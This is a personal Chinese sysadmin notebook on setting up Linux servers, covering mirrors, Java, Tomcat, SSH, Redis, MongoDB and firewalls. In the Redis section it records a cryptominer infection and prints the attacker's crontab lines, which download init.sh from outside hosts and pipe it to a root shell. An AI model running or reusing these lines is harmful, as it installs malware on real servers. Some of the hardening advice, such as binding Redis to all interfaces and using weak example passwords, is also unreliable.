Ubuntu

apt换国内源

https://blog.csdn.net/RadiantJeral/article/details/104184351

https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/

打开终端输入命令下载vim工具

1
sudo apt-get install vim

1.备份 /etc/apt/sources.list

1
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak

2.编辑 /etc/apt/sources.list

打开 /etc/apt/sources.list

1
sudo vim /etc/apt/sources.list

在命令模式下输入 ggdG,删除全部内容.

在输入模式下,粘贴复制下列内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse

# 预发布软件源,不建议启用
# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse

上面这个会报错

仓库 “https://mirrors.tuna.tsinghua.edu.cn/ubuntu focal-security Release” 没有 Release 文件。 N: 无法安全地用该源进行更新,所以默认禁用该源。

解决方法:https://blog.csdn.net/gezongbo/article/details/121056781

适用于ubuntu18.04

使用aliyun,将sources.list内容修改为下面内容

1
2
3
4
5
deb http://mirrors.aliyun.com/ubuntu bionic main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-updates main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-security main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-proposed main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-backports main multiverse restricted universe

适用于ubuntu20.04

使用aliyun,将sources.list内容修改为下面内容

1
2
3
4
5
deb http://mirrors.aliyun.com/ubuntu focal main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu focal-updates main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu focal-security main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu focal-proposed main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu focal-backports main multiverse restricted universe

保存退出.

3.更新

1
sudo apt update

设置root密码

Ubuntu的默认root密码是随机的,即每次开机都有一个新的root密码。我们可以在终端输入命令 sudo passwd,然后输入当前用户的密码

终端会提示我们输入新的密码并确认,此时的密码就是root新密码。修改成功后,输入命令 su root,再输入新的密码就ok了

如何解决:不在 sudoers 文件中此事将被报告?

1.首先切换到root用户下,输入当前用户账号密码

su - root

2.输入sudo相关命令

chmod 740 /etc/sudoers

sudo gedit /etc/sudoers

3.添加权限

找到

1
2
# Allow members of group sudo to execute any command
       %sudo    ALL=(ALL) ALL

在下面添加一行,如下

xx ALL=(ALL) ALL  (将此处的XX修改为出现该问题的用户名!)

拓展:

sudo 命令需要输入当前用户的密码,su 命令需要输入 root 用户的密码

Linux命令su、sudo、sudo su、sudo -i使用和区别

提升用户权限

https://www.cnblogs.com/rnckty/p/5741956.html

Ubuntu默认root密码

https://blog.csdn.net/jiangshuanshuan/article/details/95715837

安装Java

Java推荐用安装包安装 之后安装Tomcat比较方便

安装包:

https://blog.csdn.net/qq_34412086/article/details/88035820

1.上传安装包jdk-8u301-linux-x64.tar.gz

2.解压压缩包

tar -zxvf jdk-8u301-linux-x64.tar.gz

3.配置环境变量

vim /etc/profile

在末尾加入如下配置

1
2
3
4
export JAVA_HOME=/opt/software/jdk1.8.0_301
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:%{JAVA_HOME}/lib:%{JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH 

4.检查环境是否配置完成

source /etc/profile

java -version

命令行: 不会给你配JAVA_HOME

https://blog.csdn.net/wan_ide/article/details/99447752

输入命令:

1
sudo apt install openjdk-8-jdk-headless

等待安装完成

安装完成后用 java -version 检验是否安装成功

1
java -version

Linux如何查看JDK的安装路径

https://www.cnblogs.com/kerrycode/p/4762921.html

安装Tomcat

https://blog.csdn.net/qq_34412086/article/details/88038210

1.上传压缩包并解压

tar -zxvf apache-tomcat-8.5.41.tar.gz

2.配置startup.sh

启动Tomcat之前先进入目录/usr/local/tomcat/apache-tomcat-7.0.93/bin,编辑文件startup.sh。在startup.sh文件最后的exec上方添加如下配置

1
2
3
4
5
6
7
8
#set java environment
export JAVA_HOME=/opt/software/jdk1.8.0_301
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:%{JAVA_HOME}/lib:%{JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH 

#tomcat
export TOMCAT=/opt/software/apache-tomcat-8.5.41

img

3.关闭Tomcat之前先进入目录/usr/local/tomcat/apache-tomcat-7.0.93/bin,编辑文件shutdown.sh。配置shutdown.sh

1
2
3
4
5
6
7
8
#set java environment
export JAVA_HOME=/opt/software/jdk1.8.0_301
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:%{JAVA_HOME}/lib:%{JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH 

#tomcat
export TOMCAT=/opt/software/apache-tomcat-8.5.41

4.启动

进入到tomcat的bin目录下,./startup.sh

后面的环境配置可以考虑不用(不知道会不会有什么问题)

修改文件

1
sudo gedit filename

linux命令行下,在任意目录下启动Tomcat

https://blog.csdn.net/qq_40794973/article/details/86591391

==关闭TOMCAT日志的三个方法==

https://blog.csdn.net/ZCY5202015/article/details/120685589

开启远程连接ssh服务端

https://jingyan.baidu.com/article/359911f5a5b74857fe0306c4.html

首先看看自己的Ubuntu是不是已经安装或启用了ssh服务,执行ps -e | grep ssh

我们看到只有ssh-agent 这个是ssh-client客户端服务,如果有sshd,证明你已经装好了ssh-server并已启用,当然就可以不用往下看了

Ubuntu17.04 开启远程连接ssh服务端

如果没有安装执行sudo apt install openssh-server开始安装,输入yes回车

Ubuntu17.04 开启远程连接ssh服务端

执行完了就代表安装完成了

Ubuntu17.04 开启远程连接ssh服务端

然后再执行ps -e | grep ssh,发现多了sshd,远程连接本电脑就已经启用了

Ubuntu17.04 开启远程连接ssh服务端

然后我们通过其他电脑或服务器连接本电脑执行ssh ‘你的用户名’@‘你的ip’,然后输入yes,然后输入密码,就成功连接了

Ubuntu17.04 开启远程连接ssh服务端

最后执行ls,可以看到自己熟悉的ubuntu文件了

Ubuntu17.04 开启远程连接ssh服务端

开启远程连接ubuntu root权限

https://blog.csdn.net/qq_35445306/article/details/78771398

Ubuntu输入su提示认证失败的解决方法(接上)

https://blog.csdn.net/henren555/article/details/7546508

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
终端下

studiogang@studiogang:~$ sudo passwd 

Password: <--- 输入安装时那个用户的密码 

Enter new UNIX password: <--- 新的Root用户密码 

Retype new UNIX password: <--- 重复新的Root用户密码 

passwd:已成功更新密码

xshell一直断开连接:Socket error Event: 32 Error: 10053

https://blog.csdn.net/betonme/article/details/102546857

修改/etc/ssh/sshd_config文件

1
vim /etc/ssh/sshd_config

image-20220320160947974

将port的注释#删去,重启ssh服务 ,

1
service ssh restart

安装Nginx

https://www.cnblogs.com/fengkun125/p/14142912.html

参考尚硅谷的教程安装 用wget安装Nginx

1
2
3
4
5
# 切换至root用户
sudo su root
apt-get install nginx
nginx -v
service nginx start

用安装包一堆坑

sudo make && make install 后面那个命令会报没有权限

未发现软件包gcc-c+

1
2
sudo apt install gcc
sudo apt install g++

zlib 找不到:

直接wget安装

https://www.php.cn/blog/detail/13838.html

Tomcat开放对外的端口

查看已经开放的端口号

1
firewall-cmd --list-all

对外开放访问的端口

1
2
3
firewall-cmd --add-port=8080/tcp --permanent

firewall-cmd --reload

关闭对外端口

1
2
firewall-cmd --remove-port=80/tcp --permanent
firewall-cmd --reload

Windows文件换行符转Linux换行符

https://blog.csdn.net/cjf_iceking/article/details/47836201

操作系统文件换行符

首先介绍下,在ASCII中存在这样两个字符CR(编码为13)和 LF(编码为10),在编程中我们一般称其分别为’\r’和’\n’。他们被用来作为换行标志,但在不同系统中换行标志又不一样。下面是不同操作系统采用不同的换行符:

1
2
3
4
Unix和类Unix(如Linux):换行符采用 \n
Windows和MS-DOS:换行符采用 \r\n
Mac OS X之前的系统:换行符采用 \r
Mac OS X:换行符采用 \n

使用cat -A [Filename] 查看

使用命令"dos2unix",如下所示

1
2
[root@localhost test]# dos2unix gggggggg.txt 
dos2unix: converting file gggggggg.txt to UNIX format ...

安装anaconda

第一步 - 检索最新版本的Anaconda

在Web浏览器中,转到Anaconda下载页面,可通过以下链接访问:

1
https://www.anaconda.com/download/

找到最新的Linux版本并复制安装程序bash脚本。

Anaconda安装包下载

(1)官网下载,下载速度较慢 (2)清华大学开源软件镜像站

第二步 - 下载Anaconda Bash脚本

以sudo非root用户身份登录到您的Ubuntu 18.04服务器,进入该/tmp目录并使用curl下载您从Anaconda网站复制的链接:

1
2
cd /tmp
curl -O https://repo.anaconda.com/archive/Anaconda3-5.2.0-Linux-x86_64.sh

或者下载完成后把bash脚本传输到linux上

第三步 - 验证安装程序的数据完整性

通过SHA-256校验和通过加密哈希验证确保安装程序的完整性:

1
sha256sum Anaconda3-5.2.0-Linux-x86_64.sh

输出如下所示:

1
09f53738b0cd3bb96f5b1bac488e5528df9906be2480fe61df40e0e0d19e3d48  Anaconda3-5.2.0-Linux-x86_64.sh

第四步 - 运行Anaconda脚本

1
bash Anaconda3-5.2.0-Linux-x86_64.sh

将收到以下输出以查看许可协议,按ENTER键直到到达结尾。

1
2
3
4
5
6
7
8
Welcome to Anaconda3 5.2.0

In order to continue the installation process, please review the license
agreement.
Please, press ENTER to continue
>>>
...
Do you approve the license terms? [yes|no]

当到达许可证末尾时,只要同意完成安装的许可证即可输入yes

第五步 - 完成安装过程

一旦同意许可,系统将提示选择安装位置。可以按ENTER接受默认位置,或指定其他位置。

1
2
3
4
5
6
7
8
Anaconda3 will now be installed into this location:
/home/sammy/anaconda3

  - Press ENTER to confirm the location
  - Press CTRL-C to abort the installation
  - Or specify a different location below

[/home/sammy/anaconda3] >>>

此时,安装将继续。请注意,安装过程需要一些时间。

第六步 - 选择选项

安装完成后,您将收到以下输出:

1
2
3
4
5
...
installation finished.
Do you wish the installer to prepend the Anaconda3 install location
to PATH in your /home/sammy/.bashrc ? [yes|no]
[no] >>> 

建议输入yes以使用该conda命令。

接下来,系统将提示下载Visual Studio Code,可以从官方VSCode网站了解更多信息。

输入yes要安装和no拒绝安装。

第七步 - 激活安装

现在可以使用以下命令激活安装:

1
source ~/.bashrc

第八步 - 测试安装

使用此conda命令测试安装和激活:

1
conda list

将收到通过Anaconda安装可用的所有软件包的输出。

第九步 - 设置Anaconda环境

可以使用该conda create命令创建Anaconda环境。例如,可以使用以下命令创建名为my_env的Python 3环境:

1
conda create --name my_env python=3

像这样激活新环境:

1
source activate my_env

您的命令提示符前缀将更改以反映您处于活动的Anaconda环境中,现在您已准备好开始处理项目。

常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#创建虚拟环境
conda create -n your_env_name python=X.X(3.6、3.7等)
 
#激活虚拟环境
source activate your_env_name(虚拟环境名称)
 
#退出虚拟环境
source deactivate your_env_name(虚拟环境名称)
 
#删除虚拟环境
conda remove -n your_env_name(虚拟环境名称) --all
 
#查看安装了哪些包
conda list
 
#安装包
conda install package_name(包名)
conda install scrapy==1.3 # 安装指定版本的包
conda install -n 环境名 包名 # 在conda指定的某个环境中安装包
 
#查看当前存在哪些虚拟环境
conda env list 
#或 
conda info -e
#或
conda info --envs
 
#检查更新当前conda
conda update conda
 
#更新anaconda
conda update anaconda
 
#更新所有库
conda update --all
 
#更新python
conda update python

安装mongodb

apt安装

https://blog.csdn.net/yutu75/article/details/110941936

基本安装

目前最新版本为4.4版本,ubuntu20.04中默认安装的是3.6版本【可以继续基于这个版本进行学习,这块内容跳过即可】。

安装之前建议更新下Linux源.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# 1、备份源文件
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak  
# 2、添加源到sources.list中
sudo gedit /etc/apt/sources.list

# 在打开的文本中,添加阿里源
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse

# 3、更新源
sudo apt-get update

如果要在ubuntu20.04中安装最新4.4版本mongodb,则需要完成以下命令步骤:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 安装依赖包
sudo apt-get install libcurl4 openssl
# 关闭和卸载原有的mongodb
service mongodb stop
sudo apt-get remove mongodb

# 导入包管理系统使用的公钥
wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
# 如果命令执行结果没有显示OK,则执行此命令在把上一句重新执行:sudo apt-get install gnupg

# 注册mongodb源
echo "deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu bionic/mongodb-org/4.4 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list

# 更新源
sudo apt-get update

# 安装mongodb
sudo apt-get install -y mongodb-org=4.4.2 mongodb-org-server=4.4.2 mongodb-org-shell=4.4.2 mongodb-org-mongos=4.4.2 mongodb-org-tools=4.4.2
# 安装过程中如果提示: mongodb-org-tools : 依赖: mongodb-database-tools 但是它将不会被安装
# 终端下运行以下命令,解决:
# sudo apt-get autoremove mongodb-org-mongos mongodb-org-tools mongodb-org
# sudo apt-get install -y mongodb-org=4.4.2

# 创建数据存储目录
sudo mkdir -p /data/db

# 修改配置,开放27017端口
sudo vim /etc/mongod.conf
# 把12行附近的port=27017左边的#号去掉

启动和关闭MongoDB

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 重新加载配置,并启动mongodb
sudo systemctl daemon-reload
sudo systemctl start mongod

# 查看运行状态
sudo systemctl status mongod
# 如果mongodb状态为stop,则运行 sudo systemctl enable mongod

# 停止mongodb
sudo systemctl stop mongod

# 重启mongodb
sudo systemctl restart mongod

Ubuntu安装mongo并设置账户密码

==问题:==

mongodb启动之后立马关闭

image-20220729225549702

1.修改/tmp目录下mongodb-23266.sock的权限

1
2
3
4
5
cd /tmp
ls -l *.sock
chown root:root mongodb-23266.sock
systemctl start mongod
systemctl status mongod

修改之后启动mongodb,出现另外一个错误

image-20220729231956810

打开日志查看错误:

image-20220730094939388

==建议重装==

压缩包安装

mongodb彻底卸载方式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
1.停止 mongodb服务
sudo service mongod stop
2.卸载mongodb
sudo apt-get remove mongodb
3.移除相关包
sudo apt-get purge mongodb-org*
sudo apt-get purge mongodb
sudo apt-get autoremove
sudo apt-get autorclean
4.移除相关目录
sudo rm -r /var/log/mongodb
sudo rm -r /var/lib/mongodb
5.查看系统还有哪些残留的文件或目录
whereis mongo
whereis mongodb
whereis mongod
which mongo
which mongodb
which mongod
6.删除/data/db(我自己加的)
rm -rf /data/db

安装redis

==重要的事情说三遍!:服务器上不要开放对外端口,必要时修改端口,设置密码,不然会被注入cleanfda木马==

https://developer.aliyun.com/article/764565

一、在 Ubuntu 20.04 上安装 Redis

在 Ubuntu 上安装 Redis 非常简单直接。

Redis 5.0 被包含在默认的 Ubuntu 20.04 软件源中。想要安装它,以 root 或者其他 sudo 身份运行下面的命令:

1
2
sudo apt update
sudo apt install redis-server

一旦安装完成,Redis 服务将会自动启动。想要检查服务的状态,输入下面的命令:

1
sudo systemctl status redis-server

你应该看到下面这些:

1
2
3
4
5
● redis-server.service - Advanced key-value store
     Loaded: loaded (/lib/systemd/system/redis-server.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2020-06-06 20:03:08 UTC; 10s ago
...
如果你的服务器上禁用 IPv6,那么 Redis 服务将会启动失败。

就这些。你已经在你的 Ubuntu 20.04 上安装并运行了 Redis。

二、配置 Redis 远程访问

默认情况下,Redis 不允许远程连接。你仅仅只能从127.0.0.1(localhost)连接 Redis 服务器 - Redis 服务器正在运行的机器上。

如果你正在使用单机,数据库也同样在这台机器上,你不需要启用远程访问。

想要配置 Redis 来接受远程访问,使用你的文本编辑器打开 Redis 配置文件 (查看redis配置文件位置):

1
sudo nano /etc/redis.conf

定位到以bind 127.0.0.1 ::1开头的一行,并且取消它的注释:

1
2
# bind 0.0.0.0 ::1
如果你的服务器有局域网 IP,并且你想要 Redis 从局域网可以访问 Redis,在这一行后面加上服务器局域网 IP 地址。

保存这个文件,并且重启 Redis 服务,使应用生效:

1
sudo systemctl restart redis-server

使用下面的命令来验证 Redis 服务器正在监听端口6379

1
ss -an | grep 6379

你应该能看到类似下面的信息:

1
2
tcp  LISTEN 0   511   0.0.0.0:6379   0.0.0.0:*
tcp  LISTEN 0   511      [::]:6379      [::]:*  

同时还要进行如下配置,防止redis运行几天后报错

img

Redis踩坑——MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on

1.直接修改redis.conf配置文件,但是更改后需要重启redis。

修改redis.conf文件:

(1)vim打开redis-server配置的redis.conf文件 /etc/redis/redis.conf

(2)使用快捷匹配模式:

/stop-writes-on-bgsave-error定位到stop-writes-on-bgsave-error字符串所在位置,

(3)把后面的yes设置为no。

2.在/etc/sysctl.conf 添加一项 vm.overcommit_memory = 1 ,然后重启(或者运行命令sysctl vm.overcommit_memory=1 )使其生效)

使用如下命令刷新配置,使其立即生效:

1
2
sysctl -p 
sysctl -w net.ipv4.route.flush=1

重启redis失效

杀死redis进程重新restart

ps -ef | grep redis

kill -s 9 进程id

systemctl restart redis.service

还是启动不起来,打开日志查看问题

cat /var/log/redis/redis-server.log

Write error saving DB on disk: No space left on device

image-20220801100922179

查看磁盘的占用情况

df -h

还真满了

image-20220801101229217

寻找原因:

从根目录下开始使用du命令查找出空间占用最大的文件

1
2
#查看当前目录下每个文件夹所占用的空间
du -sh *

删除掉大文件之后还是不行,再次执行df -h查看磁盘使用状况,可以看到/snap下的文件使用情况都是100%

image-20220801102649566

可以看到/opt文件夹占用了极大的空间,再一层层排查发现是tomcat生成的日志文件过大

删除掉tomcat的日志即可

https://blog.csdn.net/ZCY5202015/article/details/120685589

杀死redis进程失效

image-20220801104721500

执行sysctl vm.overcommit_memory=1便可重启redis: systemctl restart redis.service

redis启动报WARNING

8423:M 01 Aug 10:47:50.770 # WARNING you have Transparent Huge Pages (THP) support enabled in your ernel. This will create latency and memory usage issues with Redis. To fix this issue run the commad ’echo never > /sys/kernel/mm/transparent_hugepage/enabled’ as root, and add it to your /etc/rc.loal in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.

root用户执行echo never > /sys/kernel/mm/transparent_hugepage/enabled

编辑/etc/rc.local在最后一行添加echo never > /sys/kernel/mm/transparent_hugepage/enabled

重启redis: systemctl restart redis.service

8528:M 01 Aug 11:00:34.857 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.

解决方法

方式一:设置的值128较低,需要“echo 511 > /proc/sys/net/core/somaxconn”命令,注意此命令只是暂时生效,如果重启后就会失效。

方式二:永久解决Redis中The TCP backlog setting of 511 cannot be enforced告警问题,编辑/etc/sysctl.conf文件,添加net.core.somaxconn = 1024然后执行sysctl -p命令查看是否添加成功,之后重启Redis服务即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
[root@mrwang redis-4.0.9]# vim /etc/sysctl.conf 
[root@mrwang redis-4.0.9]# sysctl -p            
vm.swappiness = 0
kernel.sysrq = 1
net.ipv4.neigh.default.gc_stale_time = 120
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.default.arp_announce = 2
net.ipv4.conf.lo.arp_announce = 2
net.ipv4.conf.all.arp_announce = 2
net.ipv4.tcp_max_tw_buckets = 5000
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 1024
net.ipv4.tcp_synack_retries = 2
net.core.somaxconn = 1024

systemctl status redis-server 报错

redis-server.service: Can’t open PID file /var/run/redis/redis-server.pid (yet?) after start: No such file or directory

image-20220801100028038

解决方法如下:

https://blog.csdn.net/zhangpeterx/article/details/104093275

1
2
vi /usr/lib/systemd/system/redis.service #centos 7
nano /etc/systemd/system/redis.service  #debian/ubuntu

[Service]下新增一行ExecStartPost=/bin/sh -c "echo $MAINPID > /var/run/redis/redis.pid"

1
2
3
4
5
[Service]
Type=forking
ExecStart=/usr/bin/redis-server /etc/redis/redis.conf
ExecStop=/bin/kill -s TERM $MAINPID
ExecStartPost=/bin/sh -c "echo $MAINPID > /var/run/redis/redis.pid"

随后重启服务:

1
2
3
sudo systemctl daemon-reload
sudo systemctl enable redis-server
sudo systemctl restart redis.service

redis运行时日志报错

==Redis被挖矿脚本注入了!!!==

3543227:M 01 Aug 2022 21:27:36.031 * 1 changes in 900 seconds. Saving… 3543227:M 01 Aug 2022 21:27:36.031 * Background saving started by pid 3604362 3604362:C 01 Aug 2022 21:27:36.031 # Failed opening the RDB file crontab (in server root dir /etc) for saving: Read-only file system 3543227:M 01 Aug 2022 21:27:36.131 # Background saving error

https://blog.csdn.net/zhangjunli/article/details/103817837

1
2
3
4
5
6
7
8
9
root@VM-0-10-ubuntu:/etc/redis# redis-cli
127.0.0.1:6379> config get dir
1) "dir"
2) "/etc"
127.0.0.1:6379> config set dir /var/lib/redis
OK
127.0.0.1:6379> config get dir
1) "dir"
2) "/var/lib/redis"

image-20220803141824317

1
2
3
4
*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://195.242.111.238/cleanfda/init.sh | sh

Linux管理python推荐使用miniconda

安装miniconda

https://www.jianshu.com/p/47ed480daccc

1、下载最新版 miniconda:

1
wget https://repo.continuum.io/miniconda/Miniconda3-latest-Linux-x86_64.sh

2、在bash中安装:

1
sh Miniconda3-latest-Linux-x86_64.sh

3、安装完成后,关闭terminal后,重新打开,输入以下命令以验证是否安装成功:

1
conda -V

4、若要卸载,可直接删除已安装的文件夹后,并删除相应的环境变量:

1
2
rm -rf /usr/local/miniconda/
rm -rf /usr/local/anaconda/

删除后,打开 ~/.bashrc 文件,删除以下conda的路径变量:

1
2
export PATH=" /usr/local/anaconda/bin:$PATH" 
export PATH=" /usr/local/miniconda3/bin:$PATH" 

image-20220603162231450

解决方案:

打开一个终端,然后输入命令行打开bashrc文件:

1
sudo gedit ~/.bashrc

注意这里要有sudo,不然无法编辑里面的内容。

打开自己的安装目录/opt/software/miniconda3/bin,输入指令pwd查看路径。

在bashrc文件中输入:

1
export PATH="/opt/software/miniconda3/bin:$PATH"

保存关闭bashrc文件,在命令行输入:

1
source ~/.bashrc

随后检测一下:

1
conda --version

image-20220603163426669

如上图所示,成功。

常用指令

conda activate GIS

conda create -n Name python=3.x(2.x)

conda install xx (pip install xx)

conda deactivate

新建用户

如下操作都是在root用户下进行的

新增单个用户

1
useradd user1

设置密码

1
passwd user1

设置密码的时候,有的密码无法通过字典检查。 可以通过修改:/etc/security/pwquality.conf 文件 关闭字典检查。

修改完成之后: 在这里插入图片描述

但是不建议这么修改。建议换个密码。

删除帐号

删除一个已有的用户账号使用userdel命令,其格式如下:

1
userdel 选项 用户名

常用的选项是 -r,它的作用是把用户的主目录一起删除。

例如:

1
# userdel -r sam

此命令删除用户sam在系统文件中(主要是/etc/passwd, /etc/shadow, /etc/group等)的记录,同时删除用户的主目录。

/etc/passwd文件是用户管理工作涉及的最重要的一个文件。

Linux系统中的每个用户都在/etc/passwd文件中有一个对应的记录行,它记录了这个用户的一些基本属性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# cat /etc/passwd

root❌0:0:Superuser:/:
daemon❌1:1:System daemons:/etc:
bin❌2:2:Owner of system commands:/bin:
sys❌3:3:Owner of system files:/usr/sys:
adm❌4:4:System accounting:/usr/adm:
uucp❌5:5:UUCP administrator:/usr/lib/uucp:
auth❌7:21:Authentication administrator:/tcb/files/auth:
cron❌9:16:Cron daemon:/usr/spool/cron:
listen❌37:4:Network daemon:/usr/net/nls:
lp❌71:18:Printer administrator:/usr/spool/lp:
sam❌200:50:Sam san:/home/sam:/bin/sh

从上面的例子我们可以看到,/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下:

1
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell

添加批量用户

(1)先编辑一个文本用户文件。

每一列按照/etc/passwd密码文件的格式书写,要注意每个用户的用户名、UID、宿主目录都不可以相同,其中密码栏可以留做空白或输入x号。一个范例文件user.txt内容如下:

1
2
3
4
5
6
user001::600:100:user:/home/user001:/bin/bash
user002::601:100:user:/home/user002:/bin/bash
user003::602:100:user:/home/user003:/bin/bash
user004::603:100:user:/home/user004:/bin/bash
user005::604:100:user:/home/user005:/bin/bash
user006::605:100:user:/home/user006:/bin/bash

(2)以root身份执行命令 /usr/sbin/newusers,从刚创建的用户文件user.txt中导入数据,创建用户:

1
# newusers < user.txt

然后可以执行命令 vipwvi /etc/passwd 检查 /etc/passwd 文件是否已经出现这些用户的数据,并且用户的宿主目录是否已经创建。

(3)执行命令/usr/sbin/pwunconv。

/etc/shadow 产生的 shadow 密码解码,然后回写到 /etc/passwd 中,并将/etc/shadowshadow密码栏删掉。这是为了方便下一步的密码转换工作,即先取消 shadow password 功能。

1
# pwunconv

(4)编辑每个用户的密码对照文件。

格式为:

1
用户名:密码

实例文件 passwd.txt 内容如下:

1
2
3
4
5
6
user001:123456
user002:123456
user003:123456
user004:123456
user005:123456
user006:123456

(5)以 root 身份执行命令 /usr/sbin/chpasswd

创建用户密码,chpasswd 会将经过 /usr/bin/passwd 命令编码过的密码写入 /etc/passwd 的密码栏。

1
# chpasswd < passwd.txt

(6)确定密码经编码写入/etc/passwd的密码栏后。

执行命令 /usr/sbin/pwconv 将密码编码为 shadow password,并将结果写入 /etc/shadow

1
# pwconv

这样就完成了大量用户的创建了,之后您可以到/home下检查这些用户宿主目录的权限设置是否都正确,并登录验证用户密码是否正确。

Centos

换国内源

https://blog.csdn.net/sinat_31089473/article/details/105929293

1
2
3
4
5
6
7
8
备份一份文件
cp /etc/yum.repos.d/CentOS-Base.repo.backup /etc/yum.repos.d/CentOS-Base.repo

下载国内源
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

生成缓存
yum makecache

安装Java

https://www.cnblogs.com/lumama520/p/11058927.html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
解压压缩包
tar -zxvf /home/binbin/jdk-8u301-linux-x64.tar.gz -C /usr/local/java/

配置环境变量
vim /etc/profile

使环境变量生效
source /etc/profile

检查Java版本
java -version

安装Tomcat

https://blog.csdn.net/qq_21077715/article/details/85541685

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
新建文件夹
mkdir usr/local/tomcat9

解压压缩包
tar -zxvf /home/binbin/apache-tomcat-9.0.54.tar.gz -C /usr/local/tomcat9/

启动tomcat
/usr/local/tomcat9/apache-tomcat-9.0.54/bin/startup.sh

开放防火墙端口
firewall-cmd --zone=public --add-port=8080/tcp --permanent

firewall-cmd --reload

查看防火墙信息
firewall-cmd --list-all

开放对外端口

==注意:centos7自带的防火墙已经不是iptables了,改成了firewalld== ufw也是一种防火墙

执行命令时,出现firewalld is not running的报错,用以下命令将firewalld起起来即可

1.查看firewalld状态:systemctl status firewalld,如果是dead状态,即防火墙未开启。

2.开启防火墙:systemctl start firewalld

3.确认firewalld状态:systemctl status firewalld

4.开放默认端口号 3306,出现success表示成功

1
firewall-cmd --permanent --zone=public --add-port=3306/tcp

5.重新加载防火墙配置:firewall-cmd --reload

6.设置firewalld开机启动:systemctl enable firewalld

7.关闭防火墙:systemctl stop firewalld

8.查看该机器有几个端口开放:firewall-cmd --list-allfirewall-cmd --zone=public --list-ports

经过上述操作后外网还是访问不到tomcat

可能是服务没开?

https://www.cnblogs.com/cui0614/p/12746383.html

但是开了之后还不行

==主要原因是我是在腾讯云上买的服务器,所以要在腾讯云上面先开端口号~!!!!==

image-20211012213221481

